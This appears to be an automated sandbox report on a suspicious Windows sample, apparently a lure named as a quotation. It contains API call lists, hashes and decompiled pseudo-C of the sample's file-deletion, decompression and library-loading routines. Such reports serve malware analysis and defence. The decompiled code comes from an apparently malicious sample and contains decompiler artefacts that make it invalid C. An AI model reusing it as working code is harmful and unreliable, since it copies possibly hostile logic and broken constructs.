0x70f51f1f
0x00000000
0x70f51f1f
0x70f51f14
0x70f51f15
0x00000000
0x00000000
0x70f51f1b
0x00000000
0x70f51f1b
0x70f51e1c
0x70f51f07
0x00000000
0x70f51f07
0x70f51e22
0x70f51e22
0x70f51e25
0x70f51e4e
0x00000000
0x70f51e4e
0x70f51e27
0x70f51e27
0x70f51e2a
0x70f51e44
0x00000000
0x70f51e44
0x70f51e2c
0x70f51e2c
0x70f51e2f
0x70f51e3e
0x00000000
0x70f51e3e
0x70f51e32
0x70f51e33
0x00000000
0x00000000
0x70f51e35
0x00000000
0x70f51cec
0x70f51cec
0x70f51cef
0x00000000
0x70f51cef
0x70f51ce6
0x70f51cd3
0x70f51cd8
0x00000000
0x00000000
0x70f51cda
0x70f51cdd
0x00000000
0x00000000
0x00000000
0x70f51cdd
0x70f51c6d
0x70f51c70
0x70f51ca6
0x70f51ca9
0x00000000
0x70f51caf
0x70f51cb1
0x70f51cb5
0x70f51cbc
0x70f51cc3
0x70f51cc6
0x70f51cc9
0x00000000
0x70f51cc9
0x70f51ca9
0x70f51c72
0x70f51c73
0x70f51c8e
0x70f51c91
0x00000000
0x70f51c97
0x70f51c97
0x70f51c9e
0x70f51ca1
0x00000000
0x70f51ca1
0x70f51c91
0x70f51c78
0x00000000
0x70f51c7e
0x70f51c7e
0x70f51c85
0x00000000
0x70f51c85
0x70f51c78
0x70f51e74
0x70f51e79
0x70f51e7e
0x70f51e82
0x70f52355
0x70f5235b
0x70f51e94
0x70f51e96
0x70f51e97
0x70f5227e
0x70f5227e
0x70f52281
0x70f52284
0x70f522a1
0x70f522a7
0x70f522a9
0x70f522af
0x70f522c6
0x70f522c6
0x70f522c6
0x70f522d3
0x70f522d9
0x70f522dc
0x70f522e2
0x70f522e4
0x70f522e8
0x70f522ea
0x70f522f1
0x70f522f6
0x70f522f9
0x70f522fb
0x70f52300
0x70f52312
0x70f52312
0x70f52300
0x70f522f9
0x70f522e8
0x70f52318
0x70f5231b
0x70f52325
0x70f5232d
0x70f5233a
0x70f52340
0x70f52343
0x70f52273
0x70f52273
0x00000000
0x70f52273
0x70f52349
0x70f5234f
0x70f5234f
0x00000000
0x00000000
0x70f52351
0x70f52351
0x70f52351
0x70f52351
0x00000000
0x70f5231d
0x70f5231d
0x70f52323
0x00000000
0x00000000
0x00000000
0x70f52323
0x70f5231b
0x70f522b2
0x70f522b8
0x70f522ba
0x70f522c0
0x00000000
0x00000000
0x00000000
0x70f522c0
0x70f52286
0x70f5228d
0x70f52293
0x70f52299
0x00000000
0x70f52299
0x70f51e9d
0x70f51e9e
0x70f5225d
0x70f5225d
0x70f52263
0x70f52266
0x00000000
0x00000000
0x70f5226d
0x70f52272
0x00000000
0x70f52272
0x70f51ea5
0x00000000
0x00000000
0x70f51eab
0x70f51eab
0x70f51eb4
0x70f51eb9
0x70f51ebf
0x00000000
0x00000000
0x70f51ec5
0x70f51ed2
0x70f51ed8
0x70f51ee2
0x70f51ee8
0x70f51ef0
0x70f51f00
0x00000000
0x70f51f00

APIs

Part of subcall function 70F512BB: GlobalAlloc.KERNEL32(00000040,?,70F512DB,?,70F5137F,00000019,70F511CA,-000000A0), ref: 70F512C5

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 70F51D2D
lstrcpyW.KERNEL32(00000008,?), ref: 70F51D75
lstrcpyW.KERNEL32(00000808,?), ref: 70F51D7F
GlobalFree.KERNEL32(00000000), ref: 70F51D92
GlobalFree.KERNEL32(?), ref: 70F51E74
GlobalFree.KERNEL32(?), ref: 70F51E79
GlobalFree.KERNEL32(?), ref: 70F51E7E
GlobalFree.KERNEL32(00000000), ref: 70F52068
lstrcpyW.KERNEL32(?,?), ref: 70F52222
GetModuleHandleW.KERNEL32(00000008), ref: 70F522A1
LoadLibraryW.KERNELBASE(00000008), ref: 70F522B2
GetProcAddress.KERNEL32(?,?), ref: 70F5230C
lstrlenW.KERNEL32(00000808), ref: 70F52326

Memory Dump Source

Source File: 00000000.00000002.3306913680.0000000070F51000.00000020.00000001.01000000.00000004.sdmp, Offset: 70F50000, based on PE: true

Associated: 00000000.00000002.3306845588.0000000070F50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3306989815.0000000070F54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3307057428.0000000070F56000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70f50000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 66afa3950440f114a59dd7cc795dd2f22c085a5a8343ed16ff587e55fe913e26
Instruction ID: 7bd458b5a813c45813719a080cd14955f89a7c20e4428dc6e70d4c484daf0aae
Opcode Fuzzy Hash: 66afa3950440f114a59dd7cc795dd2f22c085a5a8343ed16ff587e55fe913e26
Instruction Fuzzy Hash: 5922BE72D04A06DFDB51CFA4C8847EEB7F4FB05325F20462ED5A6E2280E774A989DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00405D74 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405D74(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E0040603F(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x42a2e8 =  *0x42a2e8 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E00406668(0x425750, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405F83(_t68);
					} else {
						lstrcatW(0x425750, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x425750,  &_v604);
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E00406668(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405D2C(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E004056CA(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x42a2e8 =  *0x42a2e8 + 1;
										} else {
											E004056CA(0xfffffff1, _t68);
											E00406428(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405D74(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604);
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x425750 - 0x5c;
					if( *0x425750 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E0040699E(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405F37(_t68);
							_t38 = E00405D2C(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E004056CA(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E004056CA(0xfffffff1, _t68);
							return E00406428(_t67, _t68, 0);
						}
						L30:
						 *0x42a2e8 =  *0x42a2e8 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405d7e
0x00405d83
0x00405d8c
0x00405d8f
0x00405d97
0x00405d9a
0x00405d9d
0x00405da5
0x00405da7
0x00405da8
0x00000000
0x00405da8
0x00405db3
0x00405db6
0x00405db6
0x00405db6
0x00405dba
0x00405dcd
0x00405dd4
0x00405dd9
0x00405ddd
0x00405ded
0x00405ddf
0x00405de5
0x00405de5
0x00405df2
0x00405df6
0x00405e02
0x00405e08
0x00405e0d
0x00405e13
0x00405e1e
0x00405e24
0x00405e26
0x00405e29
0x00405ed3
0x00405ed3
0x00405ed7
0x00405ed9
0x00405ed9
0x00405ed9
0x00405ed9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2f
0x00405e2f
0x00405e2f
0x00405e37
0x00405e57
0x00405e5f
0x00405e64
0x00405e6b
0x00405e86
0x00405e8b
0x00405e8d
0x00405eb1
0x00405e8f
0x00405e8f
0x00405e92
0x00405ea6
0x00405e94
0x00405e97
0x00405e9f
0x00405e9f
0x00405e92
0x00405e6d
0x00405e73
0x00405e75
0x00405e7b
0x00405e7b
0x00405e75
0x00000000
0x00405e6b
0x00405e39
0x00405e41
0x00000000
0x00000000
0x00405e43
0x00405e4b
0x00000000
0x00000000
0x00405e4d
0x00405e55
0x00000000
0x00000000
0x00000000
0x00405eb6
0x00405ebe
0x00405ec4
0x00405ec4
0x00405ecd
0x00000000
0x00405ecd
0x00405df8
0x00405e00
0x00000000
0x00000000
0x00000000
0x00405dbc
0x00405dbc
0x00405dbe
0x00405ede
0x00405ee0
0x00405ee3
0x00405f34
0x00405f34
0x00405f34
0x00405ee5
0x00405ee8
0x00405ef3
0x00405ef8
0x00405efa
0x00000000
0x00000000
0x00405efd
0x00405f09
0x00405f0e
0x00405f10
0x00000000
0x00405f2b
0x00405f12
0x00405f15
0x00000000
0x00000000
0x00405f1a
0x00000000
0x00405f21
0x00405eea
0x00405eea
0x00000000
0x00405eea
0x00405dc4
0x00405dc7
0x00000000
0x00000000
0x00000000
0x00405dc7

APIs

DeleteFileW.KERNELBASE(?,?,767C3420,767C2EE0,00000000), ref: 00405D9D
lstrcatW.KERNEL32(00425750,\*.*), ref: 00405DE5
lstrcatW.KERNEL32(?,0040A014), ref: 00405E08
lstrlenW.KERNEL32(?,?,0040A014,?,00425750,?,?,767C3420,767C2EE0,00000000), ref: 00405E0E
FindFirstFileW.KERNEL32(00425750,?,?,?,0040A014,?,00425750,?,?,767C3420,767C2EE0,00000000), ref: 00405E1E
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EBE
FindClose.KERNEL32(00000000), ref: 00405ECD

Strings

\*.*, xrefs: 00405DDF
., xrefs: 00405E2F
., xrefs: 00405E43
PWB, xrefs: 00405DCD

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$PWB$\*.*
API String ID: 2035342205-2468439962
Opcode ID: 474154096caf6e50bc49cf7df5fd00662d051eb5e935454ecd5fbb37efa04323
Instruction ID: 3801e3340fbbb9c460ab277ab089a7ece50ce31247a5b640c745bca9484d7288
Opcode Fuzzy Hash: 474154096caf6e50bc49cf7df5fd00662d051eb5e935454ecd5fbb37efa04323
Instruction Fuzzy Hash: 46410330800A15AADB21AB61CC49BBF7678EF41715F50413FF881711D1DB7C4A82CEAE

Uniqueness

Uniqueness Score: -1.00%

Function 032C53BE Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 527
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919
F, xrefs: 032C5479

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: +vV;$F$Z!.Y
API String ID: 1029625771-3200214304
Opcode ID: c10b55936d1a6f3cd8cda7236568512f37273fdb1ac8079b92df23eb61ca039d
Instruction ID: 887f64b83f102552f4b6517194aab03f61b1757c5a1a90c394b039aae797fcc4
Opcode Fuzzy Hash: c10b55936d1a6f3cd8cda7236568512f37273fdb1ac8079b92df23eb61ca039d
Instruction Fuzzy Hash: 2B0279356643468FDF348E388D953DA37A7EF96360FA8423ECC8A8B105D77095C6C602

Uniqueness

Uniqueness Score: -1.00%

Function 00406D5F Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00406D5F() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8));
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
